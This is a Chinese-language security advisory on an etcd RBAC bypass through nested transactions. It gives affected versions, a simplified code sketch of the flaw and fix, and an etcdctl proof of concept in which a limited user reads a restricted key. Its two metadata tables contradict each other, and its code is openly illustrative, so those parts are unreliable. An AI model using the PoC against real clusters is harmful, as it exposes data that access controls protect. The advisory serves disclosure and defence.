一、漏洞简介

1.1 漏洞背景

etcd 支持事务操作,允许在单个请求中执行多个条件检查和操作。然而,在使用嵌套事务时,发现 RBAC(基于角色的访问控制)授权检查可以被绕过。

1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)

项目 内容
漏洞编号 暂无统一编号
危害等级 暂未找到权威信息
漏洞类型 嵌套事务绕过 RBAC 授权检查
披露时间 暂未找到权威信息
影响组件 etcd 安全
项目 内容
CVE 编号 待分配(GHSA-rfx7-8w68-q57q)
危害等级
CVSS 评分 低危(取决于部署场景)
漏洞类型 授权绕过

核验说明:该问题未见统一 CVE 编号,本文结合原文与公开资料进行整理。

二、影响范围

2.1 受影响的版本

  • etcd < 3.4.42
  • etcd < 3.5.28
  • etcd < 3.6.9

2.2 不受影响的版本

  • etcd >= 3.4.42
  • etcd >= 3.5.28
  • etcd >= 3.6.9

2.3 触发条件(如特定模块、特定配置、特定运行环境等)

  • etcd 集群启用了认证(RBAC)
  • 攻击者具有有效的认证凭证
  • 攻击者具有对某些键范围的受限权限

三、漏洞详情与原理解析

3.1 漏洞触发机制

+------------------+                        +------------------+
|   受限用户        |   嵌套事务请求          |     etcd         |
| (只有部分权限)    | ----------------------> |   (RBAC 启用)    |
+------------------+                        +------------------+
       |                                           |
       |     绕过键范围限制                          |
       |  <----------------------------------------
       v
+------------------+
| 访问完整数据存储  |
+------------------+

3.2 源码层面的根因分析(结合源码与补丁对比)

// 事务处理逻辑(简化示意)
func (a *applierV3backend) Txn(r *pb.TxnRequest) (*pb.TxnResponse, error) {
    // 问题:嵌套事务的权限检查不完整
    for _, cmp := range r.Compare {
        if !a.checkPermission(cmp.Key) {
            return nil, ErrPermissionDenied
        }
    }

    // 漏洞点:嵌套的 txn 操作可能未正确检查
    for _, op := range r.Success {
        if nestedTxn, ok := op.Request.(*pb.RequestOp_RequestTxn); ok {
            // 这里缺少对嵌套事务的递归权限检查
            // return a.Txn(nestedTxn.RequestTxn) // 漏洞代码
        }
    }
    // ...
}

修复补丁:

// 修复后的代码
func (a *applierV3backend) Txn(r *pb.TxnRequest) (*pb.TxnResponse, error) {
    // 递归检查所有操作(包括嵌套事务)的权限
    if err := a.checkTxnPermission(r); err != nil {
        return nil, err
    }
    // ...
}

func (a *applierV3backend) checkTxnPermission(r *pb.TxnRequest) error {
    // 检查比较操作
    for _, cmp := range r.Compare {
        if err := a.checkKeyPermission(cmp.Key); err != nil {
            return err
        }
    }

    // 递归检查成功/失败分支的所有操作
    for _, op := range append(r.Success, r.Failure...) {
        switch req := op.Request.(type) {
        case *pb.RequestOp_RequestTxn:
            // 递归检查嵌套事务
            if err := a.checkTxnPermission(req.RequestTxn); err != nil {
                return err
            }
        case *pb.RequestOp_RequestPut:
            if err := a.checkKeyPermission(req.RequestPut.Key); err != nil {
                return err
            }
        // ... 其他操作类型
        }
    }
    return nil
}

四、漏洞复现(可选)

4.1 环境搭建

# 启动 etcd 并启用认证
etcd --listen-client-urls http://localhost:2379 &

# 创建用户和角色
etcdctl user add root
etcdctl role add limited
etcdctl role grant-permission limited read /allowed/ --prefix
etcdctl user add attacker
etcdctl user grant-role attacker limited
etcdctl auth enable

# 写入测试数据
etcdctl --user root:password put /allowed/data "allowed"
etcdctl --user root:password put /restricted/secret "secret data"

4.2 PoC 演示与测试过程

# 使用受限用户通过嵌套事务访问受限数据
# 此操作应该被拒绝,但漏洞版本会成功

etcdctl --user attacker:password txn <<EOF
compare:
  - version: 0 /allowed/data
success:
  - txn:
      compare:
        - version: 0 /restricted/secret
      success:
        - get: /restricted/secret
EOF

五、修复建议与缓解措施

5.1 官方版本升级建议

升级到以下版本之一: - etcd 3.6.9 - etcd 3.5.28 - etcd 3.4.42

5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)

方案一:网络层隔离

# 限制 etcd 端口访问,只允许可信组件
iptables -A INPUT -p tcp --dport 2379 -s <trusted-ip> -j ACCEPT
iptables -A INPUT -p tcp --dport 2379 -j DROP

方案二:使用 mTLS 加强认证

etcd --client-cert-auth \
     --trusted-ca-file /path/to/ca.crt \
     --cert-file /path/to/server.crt \
     --key-file /path/to/server.key

六、参考信息 / 参考链接

6.1 官方安全通告

6.2 其他技术参考资料

  • 报告者:Luke Francis 和 Battulga Byambaa